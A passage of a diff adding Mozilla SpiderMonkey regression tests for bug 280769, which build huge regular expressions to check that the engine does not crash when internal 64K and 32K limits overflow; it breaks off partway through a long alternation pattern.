+var BUGNUMBER = 280769;
+var summary = 'Do not crash on overflow of 64K boundary in number of classes in regexp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var N = 100 * 1000;
+
+status = summary + ' ' + inSection(3) + ' (new RegExp("[0][1]...[99999]").exec("") ';
+
+var a = new Array(N);
+
+for (var i = 0; i != N; ++i) {
+ a[i] = i;
+}
+
+var str = '['+a.join('][')+']'; // str is [0][1][2]...[<PRINTED N-1>]
+
+try
+{
+ var re = new RegExp(str);
+}
+catch(e)
+{
+ printStatus('Exception creating RegExp: ' + e);
+}
+
+try
+{
+ re.exec('');
+}
+catch(e)
+{
+ printStatus('Exception executing RegExp: ' + e);
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-280769-4.js b/js/src/tests/non262/regress/regress-280769-4.js
new file mode 100644
index 0000000000..eefc6db2c2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-4.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not overflow 64K length of char sequence in RegExp []';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var N = 20 * 1000; // It should be that N*6 > 64K and N < 32K
+
+var prefixes = ["000", "00", "0"];
+
+function to_4_hex(i)
+{
+ var printed = i.toString(16);
+ if (printed.length < 4) {
+ printed= prefixes[printed.length - 1]+printed;
+ }
+ return printed;
+
+}
+
+var a = new Array(N);
+for (var i = 0; i != N; ++i) {
+ a[i] = to_4_hex(2*i);
+}
+
+var str = '[\\u'+a.join('\\u')+']';
+// str is [\u0000\u0002\u0004...\u<printed value of 2N>]
+
+var re = new RegExp(str);
+
+var string_to_match = String.fromCharCode(2 * (N - 1));
+
+var value = re.exec(string_to_match);
+
+var expect = string_to_match;
+var actual = value ? value[0] : value;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-280769-5.js b/js/src/tests/non262/regress/regress-280769-5.js
new file mode 100644
index 0000000000..930583a07a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-5.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not overflow 64K string offset';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var N = 100 * 1000;
+
+var prefix = new Array(N).join("a"); // prefix is sequence of N "a"
+
+var suffix = "111";
+
+var re = new RegExp(prefix+"0?"+suffix); // re is /aaa...aaa0?111/
+
+var str_to_match = prefix+suffix; // str_to_match is "aaa...aaa111"
+
+try {
+ var index = str_to_match.search(re);
+
+ expect = 0;
+ actual = index;
+
+ reportCompare(expect, actual, summary);
+} catch (e) {
+ reportCompare(true, e instanceof Error, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-280769.js b/js/src/tests/non262/regress/regress-280769.js
new file mode 100644
index 0000000000..44873cf830
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not crash on overflow of 32K boundary in regexp bytecode jump offset';
+var actual = 'No Crash';
+var expect = 'No Crash';
+var status;
+var result;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' /1|...|6779/.exec("6777") ';
+
+var re = /1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245|246|247|248|249|250|251|252|253|254|255|256|257|258|259|260|261|262|263|264|265|266|267|268|269|270|271|272|273|274|275|276|277|278|279|280|281|282|283|284|285|286|287|288|289|290|291|292|293|294|295|296|297|298|299|300|301|302|303|304|305|306|307|308|309|310|311|312|313|314|315|316|317|318|319|320|321|322|323|324|325|326|327|328|329|330|331|332|333|334|335|336|337|338|339|340|341|342|343|344|345|346|347|348|349|350|351|352|353|354|355|356|357|358|359|360|361|362|363|364|365|366|367|368|369|370|371|372|373|374|375|376|377|378|379|380|381|382|383|384|385|386|387|388|389|390|391|392|393|394|395|396|397|398|399|400|401|402|403|404|405|406|407|408|409|410|411|412|413|414|415|416|417|418|419|420|421|422|423|424|425|426|427|428|429|430|431|432|433|434|435|436|437|438|439|440|441|442|443|444|445|446|447|448|449|450|451|452|453|454|455|456|457|458|459|460|461|462|463|464|465|466|467|468|469|470|471|472|473|474|475|476|477|478|479|480|481|482|483|484|485|486|487|488|489|490|491|492|493|494|495|496|497|498|499|500|501|502|503|504|505|506|507|508|509|510|511|512|513|514|515|516|517|518|519|520|521|522|523|524|525|526|527|528|529|530|531|532|533|534|535|536|537|538|539|540|541|542|543|544|545|546|547|548|549|550|551|552|553|554|555|556|557|558|559|560|561|562|563|564|565|566|567|568|569|570|571|572|573|574|575|576|577|578|579|580|581|582|583|584|585|586|587|588|589|590|591|592|593|594|595|596|597|598|599|600|601|602|603|604|605|606|607|608|609|610|611|612|613|614|615|616|617|618|619|620|621|622|623|624|625|626|627|628|629|630|631|632|633|634|635|636|637|638|639|640|641|642|643|644|645|646|647|648|649|650|651|652|653|654|655|656|657|658|659|660|661|662|663|664|665|666|667|668|669|670|671|672|673|674|675|676|677|678|679|680|681|682|683|684|685|686|687|688|689|690|691|692|693|694|695|696|697|698|699|700|701|702|703|704|705|706|707|708|709|710|711|712|713|714|715|716|717|718|719|720|721|722|723|724|725|726|727|728|729|730|731|732|733|734|735|736|737|738|739|740|741|742|743|744|745|746|747|748|749|750|751|752|753|754|755|756|757|758|759|760|761|762|763|764|765|766|767|768|769|770|771|772|773|774|775|776|777|778|779|780|781|782|783|784|785|786|787|788|789|790|791|792|793|794|795|796|797|798|799|800|801|802|803|804|805|806|807|808|809|810|811|812|813|814|815|816|817|818|819|820|821|822|823|824|825|826|827|828|829|830|831|832|833|834|835|836|837|838|839|840|841|842|843|844|845|846|847|848|849|850|851|852|853|854|855|856|857|858|859|860|861|862|863|864|865|866|867|868|869|870|871|872|873|874|875|876|877|878|879|880|881|882|883|884|885|886|887|888|889|890|891|892|893|894|895|896|897|898|899|900|901|902|903|904|905|906|907|908|909|910|911|912|913|914|915|916|917|918|919|920|921|922|923|924|925|926|927|928|929|930|931|932|933|934|935|936|937|938|939|940|941|942|943|944|945|946|947|948|949|950|951|952|953|954|955|956|957|958|959|960|961|962|963|964|965|966|967|968|969|970|971|972|973|974|975|976|977|978|979|980|981|982|983|984|985|986|987|988|989|990|991|992|993|994|995|996|997|998|999|1000|1001|1002|1003|1004|1005|1006|1007|1008|1009|1010|1011|1012|1013|1014|1015|1016|1017|1018|1019|1020|1021|1022|1023|1024|1025|1026|1027|1028|1029|1030|1031|1032|1033|1034|1035|1036|1037|1038|1039|1040|1041|1042|1043|1044|1045|1046|1047|1048|1049|1050|1051|1052|1053|1054|1055|1056|1057|1058|1059|1060|1061|1062|1063|1064|1065|1066|1067|1068|1069|1070|1071|1072|1073|1074|1075|1076|1077|1078|1079|1080|1081|1082|1083|1084|1085|1086|1087|1088|1089|1090|1091|1092|1093|1094|1095|1096|1097|1098|1099|1100|1101|1102|1103|1104|1105|1106|1107|1108|1109|1110|1111|1112|1113|1114|1115|1116|1117|1118|1119|1120|1121|1122|1123|1124|1125|1126|1127|1128|1129|1130|1131|1132|1133|1134|1135|1136|1137|1138|1139|1140|1141|1142|1143|1144|1145|1146|1147|1148|1149|1150|1151|1152|1153|1154|1155|1156|1157|1158|1159|1160|1161|1162|1163|1164|1165|1166|1167|1168|1169|1170|1171|1172|1173|1174|1175|1176|1177|1178|1179|1180|1181|1182|1183|1184|1185|1186|1187|1188|1189|1190|1191|1192|1193|1194|1195|1196|1197|1198|1199|1200|1201|1202|1203|1204|1205|1206|1207|1208|1209|1210|1211|1212|1213|1214|1215|1216|1217|1218|1219|1220|1221|1222|1223|1224|1225|1226|1227|1228|1229|1230|1231|1232|1233|1234|1235|1236|1237|1238|1239|1240|1241|1242|1243|1244|1245|1246|1247|1248|1249|1250|1251|1252|1253|1254|1255|1256|1257|1258|1259|1260|1261|1262|1263|1264|1265|1266|1267|1268|1269|1270|1271|1272|1273|1274|1275|1276|1277|1278|1279|1280|1281|1282|1283|1284|1285|1286|1287|1288|1289|1290|1291|1292|1293|1294|1295|1296|1297|1298|1299|1300|1301|1302|1303|1304|1305|1306|1307|1308|1309|1310|1311|1312|1313|1314|1315|1316|1317|1318|1319|1320|1321|1322|1323|1324|1325|1326|1327|1328|1329|1330|1331|1332|1333|1334|1335|1336|1337|1338|1339|1340|1341|1342|1343|1344|1345|1346|1347|1348|1349|1350|1351|1352|1353|1354|1355|1356|1357|1358|1359|1360|1361|1362|1363|1364|1365|1366|1367|1368|1369|1370|1371|1372|1373|1374|1375|1376|1377|1378|1379|1380|1381|1382|1383|1384|1385|1386|1387|1388|1389|1390|1391|1392|1393|1394|1395|1396|1397|1398|1399|1400|1401|1402|1403|1404|1405|1406|1407|1408|1409|1410|1411|1412|1413|1414|1415|1416|1417|1418|1419|1420|1421|1422|1423|1424|1425|1426|1427|1428|1429|1430|1431|1432|1433|1434|1435|1436|1437|1438|1439|1440|1441|1442|1443|1444|1445|1446|1447|1448|1449|1450|1451|1452|1453|1454|1455|1456|1457|1458|1459|1460|1461|1462|1463|1464|1465|1466|1467|1468|1469|1470|1471|1472|1473|1474|1475|1476|1477|1478|1479|1480|1481|1482|1483|1484|1485|1486|1487|1488|1489|1490|1491|1492|1493|1494|1495|1496|1497|1498|1499|1500|1501|1502|1503|1504|1505|1506|1507|1508|1509|1510|1511|1512|1513|1514|1515|1516|1517|1518|1519|1520|1521|1522|1523|1524|1525|1526|1527|1528|1529|1530|1531|1532|1533|1534|1535|1536|1537|1538|1539|1540|1541|1542|1543|1544|1545|1546|1547|1548|1549|1550|1551|1552|1553|1554|1555|1556|1557|1558|1559|1560|1561|1562|1563|1564|1565|1566|1567|1568|1569|1570|1571|1572|1573|1574|1575|1576|1577|1578|1579|1580|1581|1582|1583|1584|1585|1586|1587|1588|1589|1590|1591|1592|1593|1594|1595|1596|1597|1598|1599|1600|1601|1602|1603|1604|1605|1606|1607|1608|1609|1610|1611|1612|1613|1614|1615|1616|1617|1618|1619|1620|1621|1622|1623|1624|1625|1626|1627|1628|1629|1630|1631|1632|1633|1634|1635|1636|1637|1638|1639|1640|1641|1642|1643|1644|1645|1646|1647|1648|1649|1650|1651|1652|1653|1654|1655|1656|1657|1658|1659|1660|1661|1662|1663|1664|1665|1666|1667|1668|1669|1670|1671|1672|1673|1674|1675|1676|1677|1678|1679|1680|1681|1682|1683|1684|1685|1686|1687|1688|1689|1690|1691|1692|1693|1694|1695|1696|1697|1698|1699|1700|1701|1702|1703|1704|1705|1706|1707|1708|1709|1710|1711|1712|1713|1714|1715|1716|1717|1718|1719|1720|1721|1722|1723|1724|1725|1726|1727|1728|1729|1730|1731|1732|1733|1734|1735|1736|1737|1738|1739|1740|1741|1742|1743|1744|1745|1746|1747|1748|1749|1750|1751|1752|1753|1754|1755|1756|1757|1758|1759|1760|1761|1762|1763|1764|1765|1766|1767|1768|1769|1770|1771|1772|1773|1774|1775|1776|1777|1778|1779|1780|1781|1782|1783|1784|1785|1786|1787|1788|1789|1790|1791|1792|1793|1794|1795|1796|1797|1798|1799|1800|1801|1802|1803|1804|1805|1806|1807|1808|1809|1810|1811|1812|1813|1814|1815|1816|1817|1818|1819|1820|1821|1822|1823|1824|1825|1826|1827|1828|1829|1830|1831|1832|1833|1834|1835|1836|1837|1838|1839|1840|1841|1842|1843|1844|1845|1846|1847|1848|1849|1850|1851|1852|1853|1854|1855|1856|1857|1858|1859|1860|1861|1862|1863|1864|1865|1866|1867|1868|1869|1870|1871|1872|1873|1874|1875|1876|1877|1878|1879|1880|1881|1882|1883|1884|1885|1886|1887|1888|1889|1890|1891|1892|1893|1894|1895|1896|1897|1898|1899|1900|1901|1902|1903|1904|1905|1906|1907|1908|1909|1910|1911|1912|1913|1914|1915|1916|1917|1918|1919|1920|1921|1922|1923|1924|1925|1926|1927|1928|1929|1930|1931|1932|1933|1934|1935|1936|1937|1938|1939|1940|1941|1942|1943|1944|1945|1946|1947|1948|1949|1950|1951|1952|1953|1954|1955|1956|1957|1958|1959|1960|1961|1962|1963|1964|1965|1966|1967|1968|1969|1970|1971|1972|1973|1974|1975|1976|1977|1978|1979|1980|1981|1982|1983|1984|1985|1986|1987|1988|1989|1990|1991|1992|1993|1994|1995|1996|1997|1998|1999|2000|2001|2002|2003|2004|2005|2006|2007|2008|2009|2010|2011|2012|2013|2014|2015|2016|2017|2018|2019|2020|2021|2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035|2036|2037|2038|2039|2040|2041|2042|2043|2044|2045|2046|2047|2048|2049|2050|2051|2052|2053|2054|2055|2056|2057|2058|2059|2060|2061|2062|2063|2064|2065|2066|2067|2068|2069|2070|2071|2072|2073|2074|2075|2076|2077|2078|2079|2080|2081|2082|2083|2084|2085|2086|2087|2088|2089|2090|2091|2092|2093|2094|2095|2096|2097|2098|2099|2100|2101|2102|2103|2104|2105|2106|2107|2108|2109|2110|2111|2112|2113|2114|2115|2116|2117|2118|2119|2120|2121|2122|2123|2124|2125|2126|2127|2128|2129|2130|2131|2132|2133|2134|2135|2136|2137|2138|2139|2140|2141|2142|2143|2144|2145|2146|2147|2148|2149|2150|2151|2152|2153|2154|2155|2156|2157|2158|2159|2160|2161|2162|2163|2164|2165|2166|2167|2168|2169|2170|2171|2172|2173|2174|2175|2176|2177|2178|2179|2180|2181|2182|2183|2184|2185|2186|2187|2188|2189|2190|2191|2192|2193|2194|2195|2196|2197|2198|2199|2200|2201|2202|2203|2204|2205|2206|2207|2208|2209|2210|2211|2212|2213|2214|2215|2216|2217|2218|2219|2220|2221|2222|2223|2224|2225|2226|2227|2228|2229|2230|2231|2232|2233|2234|2235|2236|2237|2238|2239|2240|2241|2242|2243|2244|2245|2246|2247|2248|2249|2250|2251|2252|2253|2254|2255|2256|2257|2258|2259|2260|2261|2262|2263|2264|2265|2266|2267|2268|2269|2270|2271|2272|2273|2274|2275|2276|2277|2278|2279|2280|2281|2282|2283|2284|2285|2286|2287|2288|2289|2290|2291|2292|2293|2294|2295|2296|2297|2298|2299|2300|2301|2302|2303|2304|2305|2306|2307|2308|2309|2310|2311|2312|2313|2314|2315|2316|2317|2318|2319|2320|2321|2322|2323|2324|2325|2326|2327|2328|2329|2330|2331|2332|2333|2334|2335|2336|2337|2338|2339|2340|2341|2342|2343|2344|2345|2346|2347|2348|2349|2350|2351|2352|2353|2354|2355|2356|2357|2358|2359|2360|2361|2362|2363|2364|2365|2366|2367|2368|2369|2370|2371|2372|2373|2374|2375|2376|2377|2378|2379|2380|2381|2382|2383|2384|2385|2386|2387|2388|2389|2390|2391|2392|2393|2394|2395|2396|2397|2398|2399|2400|2401|2402|2403|2404|2405|2406|2407|2408|2409|2410|2411|2412|2413|2414|2415|2416|2417|2418|2419|2420|2421|2422|2423|2424|2425|2426|2427|2428|2429|2430|2431|2432|2433|2434|2435|2436|2437|2438|2439|2440|2441|2442|2443|2444|2445|2446|2447|2448|2449|2450|2451|2452|2453|2454|2455|2456|2457|2458|2459|2460|2461|2462|2463|2464|2465|2466|2467|2468|2469|2470|2471|2472|2473|2474|2475|2476|2477|2478|2479|2480|2481|2482|2483|2484|2485|2486|2487|2488|2489|2490|2491|2492|2493|2494|2495|2496|2497|2498|2499|2500|2501|2502|2503|2504|2505|2506|2507|2508|2509|2510|2511|2512|2513|2514|2515|2516|2517|2518|2519|2520|2521|2522|2523|2524|2525|2526|2527|2528|2529|2530|2531|2532|2533|2534|2535|2536|2537|2538|2539|2540|2541|2542|2543|2544|2545|2546|2547|2548|2549|2550|2551|2552|2553|2554|2555|2556|2557|2558|2559|2560|2561|2562|2563|2564|2565|2566|2567|2568|2569|2570|2571|2572|2573|2574|2575|2576|2577|2578|2579|2580|2581|2582|2583|2584|2585|2586|2587|2588|2589|2590|2591|2592|2593|2594|2595|2596|2597|2598|2599|2600|2601|2602|2603|2604|2605|2606|2607|2608|2609|2610|2611|2612|2613|2614|2615|2616|2617|2618|2619|2620|2621|2622|2623|2624|2625|2626|2627|2628|2629|2630|2631|2632|2633|2634|2635|2636|2637|2638|2639|2640|2641|2642|2643|2644|2645|2646|2647|2648|2649|2650|2651|2652|2653|2654|2655|2656|2657|2658|2659|2660|2661|2662|2663|2664|2665|2666|2667|2668|2669|2670|2671|2672|2673|2674|2675|2676|2677|2678|2679|2680|2681|2682|2683|2684|2685|2686|2687|2688|2689|2690|2691|2692|2693|2694|2695|2696|2697|2698|2699|2700|2701|2702|2703|2704|2705|2706|2707|2708|2709|2710|2711|2712|2713|2714|2715|2716|2717|2718|2719|2720|2721|2722|2723|2724|2725|2726|2727|2728|2729|2730|2731|2732|2733|2734|2735|2736|2737|2738|2739|2740|2741|2742|2743|2744|2745|2746|2747|2748|2749|2750|2751|2752|2753|2754|2755|2756|2757|2758|2759|2760|2761|2762|2763|2764|2765|2766|2767|2768|2769|2770|2771|2772|2773|2774|2775|2776|2777|2778|2779|2780|2781|2782|2783|2784|2785|2786|2787|2788|2789|2790|2791|2792|2793|2794|2795|2796|2797|2798|2799|2800|2801|2802|2803|2804|2805|2806|2807|2808|2809|2810|2811|2812|2813|2814|2815|2816|2817|2818|2819|2820|2821|2822|2823|2824|2825|2826|2827|2828|2829|2830|2831|2832|2833|2834|2835|2836|2837|2838|2839|2840|2841|2842|2843|2844|2845|2846|2847|2848|2849|2850|2851|2852|2853|2854|2855|2856|2857|2858|2859|2860|2861|2862|2863|2864|2865|2866|2867|2868|2869|2870|2871|2872|2873|2874|2875|2876|2877|2878|2879|2880|2881|2882|2883|2884|2885|2886|2887|2888|2889|2890|2891|2892|2893|2894|2895|2896|2897|2898|2899|2900|2901|2902|2903|2904|2905|2906|2907|2908|2909|2910|2911|2912|2913|2914|2915|2916|2917|2918|2919|2920|2921|2922|2923|2924|2925|2926|2927|2928|2929|2930|2931|2932|2933|2934|2935|2936|2937|2938|2939|2940|2941|2942|2943|2944|2945|2946|2947|2948|2949|2950|2951|2952|2953|2954|2955|2956|2957|2958|2959|2960|2961|2962|2963|2964|2965|2966|2967|2968|2969|2970|2971|2972|2973|2974|2975|2976|2977|2978|2979|2980|2981|2982|2983|2984|2985|2986|2987|2988|2989|2990|2991|2992|2993|2994|2995|2996|2997|2998|2999|3000|3001|3002|3003|3004|3005|3006|3007|3008|3009|3010|3011|3012|3013|3014|3015|3016|3017|3018|3019|3020|3021|3022|3023|3024|3025|3026|3027|3028|3029|3030|3031|3032|3033|3034|3035|3036|3037|3038|3039|3040|3041|3042|3043|3044|3045|3046|3047|3048|3049|3050|3051|3052|3053|3054|3055|3056|3057|3058|3059|3060|3061|3062|3063|3064|3065|3066|3067|3068|3069|3070|3071|3072|3073|3074|3075|3076|3077|3078|3079|3080|3081|3082|3083|3084|3085|3086|3087|3088|3089|3090|3091|3092|3093|3094|3095|3096|3097|3098|3099|3100|3101|3102|3103|3104|3105|3106|3107|3108|3109|3110|3111|3112|3113|3114|3115|3116|3117|3118|3119|3120|3121|3122|3123|3124|3125|3126|3127|3128|3129|3130|3131|3132|3133|3134|3135|3136|3137|3138|3139|3140|3141|3142|3143|3144|3145|3146|3147|3148|3149|3150|3151|3152|3153|3154|3155|3156|3157|3158|3159|3160|3161|3162|3163|3164|3165|3166|3167|3168|3169|3170|3171|3172|3173|3174|3175|3176|3177|3178|3179|3180|3181|3182|3183|3184|3185|3186|3187|3188|3189|3190|3191|3192|3193|3194|3195|3196|3197|3198|3199|3200|3201|3202|3203|3204|3205|3206|3207|3208|3209|3210|3211|3212|3213|3214|3215|3216|3217|3218|3219|3220|3221|3222|3223|3224|3225|3226|3227|3228|3229|3230|3231|3232|3233|3234|3235|3236|3237|3238|3239|3240|3241|3242|3243|3244|3245|3246|3247|3248|3249|3250|3251|3252|3253|3254|3255|3256|3257|3258|3259|3260|3261|3262|3263|3264|3265|3266|3267|3268|3269|3270|3271|3272|3273|3274|3275|3276|3277|3278|3279|3280|3281|3282|3283|3284|3285|3286|3287|3288|3289|3290|3291|3292|3293|3294|3295|3296|3297|3298|3299|3300|3301|3302|3303|3304|3305|3306|3307|3308|3309|3310|3311|3312|3313|3314|3315|3316|3317|3318|3319|3320|3321|3322|3323|3324|3325|3326|3327|3328|3329|3330|3331|3332|3333|3334|3335|3336|3337|3338|3339|3340|3341|3342|3343|3344|3345|3346|3347|3348|3349|3350|3351|3352|3353|3354|3355|3356|3357|3358|3359|3360|3361|3362|3363|3364|3365|3366|3367|3368|3369|3370|3371|3372|3373|3374|3375|3376|3377|3378|3379|3380|3381|3382|3383|3384|3385|3386|3387|3388|3389|3390|3391|3392|3393|3394|3395|3396|3397|3398|3399|3400|3401|3402|3403|3404|3405|3406|3407|3408|3409|3410|3411|3412|3413|3414|3415|3416|3417|3418|3419|3420|3421|3422|3423|3424|3425|3426|3427|3428|3429|3430|3431|3432|3433|3434|3435|3436|3437|3438|3439|3440|3441|3442|3443|3444|3445|3446|3447|3448|3449|3450|3451|3452|3453|3454|3455|3456|3457|3458|3459|3460|3461|3462|3463|3464|3465|3466|3467|3468|3469|3470|3471|3472|3473|3474|3475|3476|3477|3478|3479|3480|3481|3482|3483|3484|3485|3486|3487|3488|3489|3490|3491|3492|3493|3494|3495|3496|3497|3498|3499|3500|3501|3502|3503|3504|3505|3506|3507|3508|3509|3510|3511|3512|3513|3514|3515|3516|3517|3518|3519|3520|3521|3522|3523|3524|3525|3526|3527|3528|3529|3530|3531|3532|3533|3534|3535|3536|3537|3538|3539|3540|3541|3542|3543|3544|3545|3546|3547|3548|3549|3550|3551|3552|3553|3554|3555|3556|3557|3558|3559|3560|3561|3562|3563|3564|3565|3566|3567|3568|3569|3570|3571|3572|3573|3574|3575|3576|3577|3578|3579|3580|3581|3582|3583|3584|3585|3586|3587|3588|3589|3590|3591|3592|3593|3594|3595|3596|3597|3598|3599|3600|3601|3602|3603|3604|3605|3606|3607|3608|3609|3610|3611|3612|3613|3614|3615|3616|3617|3618|3619|3620|3621|3622|3623|3624|3625|3626|3627|3628|3629|3630|3631|3632|3633|3634|3635|3636|3637|3638|3639|3640|3641|3642|3643|3644|3645|3646|3647|3648|3649|3650|3651|3652|3653|3654|3655|3656|3657|3658|3659|3660|3661|3662|3663|3664|3665|3666|3667|3668|3669|3670|3671|3672|3673|3674|3675|3676|3677|3678|3679|3680|3681|3682|3683|3684|3685|3686|3687|3688|3689|3690|3691|3692|3693|3694|3695|3696|3697|3698|3699|3700|3701|3702|3703|3704|3705|3706|3707|3708|3709|3710|3711|3712|3713|3714|3715|3716|3717|3718|3719|3720|3721|3722|3723|3724|3725|3726|3727|3728|3729|3730|3731|3732|3733|3734|3735|3736|3737|3738|3739|3740|3741|3742|3743|3744|3745|3746|3747|3748|3749|3750|3751|3752|3753|3754|3755|3756|3757|3758|3759|3760|3761|3762|3763|3764|3765|3766|3767|3768|3769|3770|3771|3772|3773|3774|3775|3776|3777|3778|3779|3780|3781|3782|3783|3784|3785|3786|3787|3788|3789|3790|3791|3792|3793|3794|3795|3796|3797|3798|3799|3800|3801|3802|3803|3804|3805|3806|3807|3808|3809|3810|3811|3812|3813|3814|3815|3816|3817|3818|3819|3820|3821|3822|3823|3824|3825|3826|3827|3828|3829|3830|3831|3832|3833|3834|3835|3836|3837|3838|3839|3840|3841|3842|3843|3844|3845|3846|3847|3848|3849|3850|3851|3852|3853|3854|3855|3856|3857|3858|3859|3860|3861|3862|3863|3864|3865|3866|3867|3868|3869|3870|3871|3872|3873|3874|3875|3876|3877|3878|3879|3880|3881|3882|3883|3884|3885|3886|3887|3888|3889|3890|3891|3892|3893|3894|3895|3896|3897|3898|3899|3900|3901|3902|3903|3904|3905|3906|3907|3908|3909|3910|3911|3912|3913|3914|3915|3916|3917|3918|3919|3920|3921|3922|3923|3924|3925|3926|3927|3928|3929|3930|3931|3932|3933|3934|3935|3936|3937|3938|3939|3940|3941|3942|3943|3944|3945|3946|3947|3948|3949|3950|3951|3952|3953|3954|3955|3956|3957|3958|3959|3960|3961|3962|3963|3964|3965|3966|3967|3968|3969|3970|3971|3972|3973|3974|3975|3976|3977|3978|3979|3980|3981|3982|3983|3984|3985|3986|3987|3988|3989|3990|3991|3992|3993|3994|3995|3996|3997|3998|3999|4000|4001|4002|4003|4004|4005|4006|4007|4008|4009|4010|4011|4012|4013|4014|4015|4016|4017|4018|4019|4020|4021|4022|4023|4024|4025|4026|4027|4028|4029|4030|4031|4032|4033|4034|4035|4036|4037|4038|4039|4040|4041|4042|4043|4044|4045|4046|4047|4048|4049|4050|4051|4052|4053|4054|4055|4056|4057|4058|4059|4060|4061|4062|4063|4064|4065|4066|4067|4068|4069|4070|4071|4072|4073|4074|4075|4076|4077|4078|4079|4080|4081|4082|4083|4084|4085|4086|4087|4088|4089|4090|4091|4092|4093|4094|4095|4096|4097|4098|4099|4100|4101|4102|4103|4104|4105|4106|4107|4108|4109|4110|4111|4112|4113|4114|4115|4116|4117|4118|4119|4120|4121|4122|4123|4124|4125|4126|4127|4128|4129|4130|4131|4132|4133|4134|4135|4136|4137|4138|4139|4140|4141|4142|4143|4144|4145|4146|4147|4148|4149|4150|4151|4152|4153|4154|4155|4156|4157|4158|4159|4160|4161|4162|4163|4164|4165|4166|4167|4168|4169|4170|4171|4172|4173|4174|4175|4176|4177|4178|4179|4180|4181|4182|4183|4184|4185|4186|4187|4188|4189|4190|4191|4192|4193|4194|4195|4196|4197|4198|4199|4200|4201|4202|4203|4204|4205|4206|4207|4208|4209|4210|4211|4212|4213|4214|4215|4216|4217|4218|4219|4220|4221|4222|4223|4224|4225|4226|4227|4228|4229|4230|4231|4232|4233|4234|4235|4236|4237|4238|4239|4240|4241|4242|4243|4244|4245|4246|4247|4248|4249|4250|4251|4252|4253|4254|4255|4256|4257|4258|4259|4260|4261|4262|4263|4264|4265|4266|4267|4268|4269|4270|4271|4272|4273|4274|4275|4276|4277|4278|4279|4280|4281|4282|4283|4284|4285|4286|4287|4288|4289|4290|4291|4292|4293|4294|4295|4296|4297|4298|4299|4300|4301|4302|4303|4304|4305|4306|4307|4308|4309|4310|4311|4312|4313|4314|4315|4316|4317|4318|4319|4320|4321|4322|4323|4324|4325|4326|4327|4328|4329|4330|4331|4332|4333|4334|4335|4336|4337|4338|4339|4340|4341|4342|4343|4344|4345|4346|4347|4348|4349|4350|4351|4352|4353|4354|4355|4356|4357|4358|4359|4360|4361|4362|4363|4364|4365|4366|4367|4368|4369|4370|4371|4372|4373|4374|4375|4376|4377|4378|4379|4380|4381|4382|4383|4384|4385|4386|4387|4388|4389|4390|4391|4392|4393|4394|4395|4396|4397|4398|4399|4400|4401|4402|4403|4404|4405|4406|4407|4408|4409|4410|4411|4412|4413|4414|4415|4416|4417|4418|4419|4420|4421|4422|4423|4424|4425|4426|4427|4428|4429|4430|4431|4432|4433|4434|4435|4436|4437|4438|4439|4440|4441|4442|4443|4444|4445|4446|4447|4448|4449|4450|4451|4452|4453|4454|4455|4456|4457|4458|4459|4460|4461|4462|4463|4464|4465|4466|4467|4468|4469|4470|4471|4472|4473|4474|4475|4476|4477|4478|4479|4480|4481|4482|4483|4484|4485|4486|4487|4488|4489|4490|4491|4492|4493|4494|4495|4496|4497|4498|4499|4500|4501|4502|4503|4504|4505|4506|4507|4508|4509|4510|4511|4512|4513|4514|4515|4516|4517|4518|4519|4520|4521|4522|4523|4524|4525|4526|4527|4528|4529|4530|4531|4532|4533|4534|4535|4536|4537|4538|4539|4540|4541|4542|4543|4544|4545|4546|4547|4548|4549|4550|4551|4552|4553|4554|4555|4556|4557|4558|4559|4560|4561|4562|4563|4564|4565|4566|4567|4568|4569|4570|4571|4572|4573|4574|4575|4576|4577|4578|4579|4580|4581|4582|4583|4584|4585|4586|4587|4588|4589|4590|4591|4592|4593|4594|4595|4596|4597|4598|4599|4600|4601|4602|4603|4604|4605|4606|4607|4608|4609|4610|4611|4612|4613|4614|4615|4616|4617